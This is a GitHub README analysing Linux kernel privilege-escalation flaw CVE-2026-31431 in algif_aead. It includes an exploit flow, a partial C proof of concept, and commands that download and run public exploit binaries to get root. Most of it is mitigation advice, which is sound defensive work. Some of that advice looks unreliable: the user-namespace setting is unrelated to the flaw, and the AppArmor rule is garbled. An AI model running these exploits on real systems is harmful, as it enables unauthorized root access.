alvaroguzmancode/CVE-2026-31431-mitigacion

GitHub: alvaroguzmancode/CVE-2026-31431-mitigacion

针对 Linux 内核 algif_aead 模块缓冲区溢出漏洞 CVE-2026-31431 的完整技术分析与多层级缓解方案文档。

Stars: 1 | Forks: 0

# CVE-2026-31431 — 完整技术分析 ## 目录 1. [为何存在漏洞?](#1-por-qué-es-vulnerable) 2. [受影响的版本](#2-qué-versiones-están-afectadas) 3. [漏洞利用方式](#3-cómo-se-explota) 4. [缓解措施](#4-cómo-mitigarlo) ## 1. 为何存在漏洞? ### AF_ALG 子系统 Linux 内核向用户空间暴露了一个称为 **AF_ALG**(`AF_ALG` 协议族套接字)的密码学接口。该接口允许无特权的进程使用内核的密码加速器——加密、哈希、密钥生成——而无需 root 权限。 其中一个是 **`algif_aead`** 模块,它实现了 AEAD 模式(*Authenticated Encryption with Associated Data*,关联数据的认证加密),被 AES-GCM 或 ChaCha20-Poly1305 等算法使用。 ### 根本缺陷 该漏洞在于当输出缓冲区小于预期大小时,`algif_aead` 如何处理 **`sendmsg()` + `recvmsg()`** 操作。内核在执行复制操作(`copy_to_user`)时没有正确验证大小,从而导致: ``` Buffer overflow → escritura fuera de límites en memoria del kernel ``` 从技术上讲: ``` algif_aead_copy_sgl() └─ sg_copy_to_buffer() └─ memcpy hacia dirección controlada parcialmente por usuario ``` 这种越界写入(write-out-of-bounds)允许覆盖内存中相邻的内核控制结构——特别是函数指针或 `cred` 结构——从而实现提权。 ### 为何利用该漏洞不需要 root 权限? 因为 `AF_ALG` 对无特权用户是可用的。任何进程都可以打开 `AF_ALG` 套接字并在无需事先认证的情况下发送数据。该漏洞利用不需要任何辅助漏洞。 ``` // Esto lo puede hacer cualquier usuario del sistema int fd = socket(AF_ALG, SOCK_SEQPACKET, 0); ``` ## 2. 受影响的版本 ### 存在漏洞的内核 | 内核版本 | 是否受影响? | |--------------------------|-----------| | < 5.10 | 否(该模块当时并非以这种形式存在) | | 5.10 — 6.1.x | 是 ⚠️ | | 6.2.x | 是 ⚠️(包含 PoC 中的内核版本) | | 6.3+ 且已应用补丁 | 否 ✅ | ### 风险最高的发行版 | 发行版 | 典型内核版本 | 是否已修补? | |-----------------------|---------------|----------------| | Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — 无补丁 | | Ubuntu 22.04 LTS | 5.15.x | ✅ 已修补 | | Ubuntu 24.04 LTS | 6.8.x | ✅ 不受影响 | | Debian 12 (Bookworm) | 6.1.x | ✅ 已修补 | | Arch Linux (2026-03+) | 6.8.x | ✅ 不受影响 | ### 如何检查你的内核版本 ``` # 查看内核版本 uname -r # 查看易受攻击模块是否已加载 lsmod | grep algif_aead # 查看 AF_ALG 是否可用 cat /proc/net/protocols | grep ALG ``` #### 存在漏洞的输出示例 ``` $ uname -r 6.2.0-20-generic $ lsmod | grep algif_aead algif_aead 20480 0 af_alg 32768 3 algif_aead,algif_skcipher,algif_hash ``` ## 3. 漏洞利用方式 ### 漏洞利用流程 ``` 1. Abrir socket AF_ALG (algif_aead) 2. Enviar sendmsg() con buffer oversized 3. recvmsg() con buffer más pequeño → trigger del bug 4. Escritura OOB en kernel heap 5. Sobrescribir cred->uid/gid a 0 6. execve("/bin/sh") → shell root ``` ### 概念性最小漏洞利用代码 (C) ``` #include #include #include #include #include int main(void) { struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "gcm(aes)", .salg_feat = 0, .salg_mask = 0, }; int fd = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(fd, (struct sockaddr *)&sa, sizeof(sa)); // Configurar clave de 16 bytes char key[16] = {0}; setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16); int op_fd = accept(fd, NULL, NULL); // Buffer grande → trigger OOB write char big_buf[4096] = {0}; char small_buf[16] = {0}; struct msghdr msg = {0}; // ... construcción del msghdr con cmsg ALG_OP_ENCRYPT sendmsg(op_fd, &msg, 0); // recvmsg con buffer insuficiente → kernel escribe fuera de límites recv(op_fd, small_buf, sizeof(small_buf), 0); // Si el exploit funcionó, ahora somos root if (getuid() == 0) { printf("[+] ¡Root obtenido!\n"); execl("/bin/sh", "sh", NULL); } return 0; } ``` ### 已知的公开 PoC 以下代码库包含有文档说明的可运行实现: - **copy-fail-c** — 纯 C 语言编写的漏洞利用程序,需要编译 `https://github.com/tgies/copy-fail-c` - **copy-fail-tiny-elf** — 独立的 ELF 二进制文件,无需编译 `https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431` #### 典型用法(实验环境) ``` # 克隆并编译 copy-fail-c git clone https://github.com/tgies/copy-fail-c cd copy-fail-c make ./copyfail # 易受攻击系统上的预期结果: # [*] 正在检查模块 algif_aead... # [*] 正在准备 heap spray... # [+] OOB write 成功 # [+] 当前 UID: 0 # # whoami # root ``` #### 使用 ELF 二进制文件(无需编译) ``` wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail chmod +x copyfail ./copyfail ``` ### 真实攻击场景 ``` Atacante externo │ ▼ Explota vulnerabilidad web (RCE) → acceso como www-data │ ▼ Sube copyfail al servidor (wget/curl) │ ▼ Ejecuta ./copyfail │ ▼ Shell root en el servidor ✓ ``` 从 `www-data` 用户获取 root 权限的预计时间:**< 30 秒**。 ## 4. 缓解措施 ### 根本解决方案 — 更新系统 唯一真正的解决方案是运行已应用补丁的内核。 ``` # 选项 1: 升级至 Ubuntu 24.04 LTS (推荐) do-release-upgrade # 选项 2: 如果你已在使用 Ubuntu 22.04 LTS sudo apt update && sudo apt dist-upgrade sudo reboot # 验证已打补丁的内核 uname -r # debe ser ≥ 5.15.0-107 en Ubuntu 22.04 ``` ### 临时缓解措施 — 禁用存在漏洞的模块 如果目前无法更新,请禁用 `algif_aead`: ``` # 创建模块 blacklist echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf # 重新生成 initramfs 以使其永久生效 sudo update-initramfs -u # 重启 sudo reboot ``` 验证其是否已被禁用: ``` lsmod | grep algif_aead # 不应出现任何内容 ``` ### 使用 sysctl 缓解 — 限制用户命名空间 ``` # 禁用 unprivileged user namespaces (会破坏 Docker 的部分 features) sudo sysctl -w kernel.unprivileged_userns_clone=0 # 使其永久生效 echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf sudo sysctl -p /etc/sysctl.d/99-hardening.conf ``` ### 使用 AppArmor 缓解 — 阻断 AF_ALG 创建一个拒绝访问 `AF_ALG` 的 AppArmor 配置文件: ``` # /etc/apparmor.d/local/restrict-af-alg network af_alg, # denegar en perfiles específicos ``` 针对 Web 进程(例如 nginx/www-data): ``` # 添加到 www-data 或 nginx 的 AppArmor profile # deny network af_alg, sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx ``` ### 降低影响 — www-data 加固 虽然不能防止提权,但可以缩小初始攻击面: ``` # 验证 www-data 没有 sudo sudo grep www-data /etc/sudoers # 移除不必要的 SUID binaries find / -perm -4000 2>/dev/null # 限制可访问的目录 chmod 700 /root chmod 750 /home/* ``` ### 缓解措施汇总表 | 缓解措施 | 有效性 | 对服务的影响 | 是否永久 | |-----------------------------------|-------------|---------------------|-----------| | 更新至 Ubuntu 24.04 | ✅ 完全 | 最低 | 是 | | 黑名单 `algif_aead` | ✅ 高 | 非常低 | 是 | | `unprivileged_userns_clone=0` | 🟡 部分 | 中等 | 是 | | AppArmor 拒绝 AF_ALG | ✅ 高 | 低 | 是 | | www-data 加固 | 🟡 减轻 | 无 | 是 | ## 参考文献 - NVD: `https://nvd.nist.gov/vuln/detail/CVE-2026-31431` - 修复该问题的内核提交:subsystem `crypto/algif_aead.c` - PoC: `https://github.com/tgies/copy-fail-c` - PoC ELF: `https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431` - 相关的 Ubuntu 安全公告:USN-XXXX-1
标签:0day漏洞, AF_ALG, algif_aead, Cutter, CVE-2026-31431, Go语言工具, Linux内核安全, Web报告查看器, 内存安全, 内核提权, 协议分析, 威胁情报, 子域名枚举, 安全渗透, 开发者工具, 技术分析, 提权漏洞, 权限提升, 漏洞分析, 漏洞缓解, 系统安全, 缓冲区溢出, 网络安全, 路径探测, 隐私保护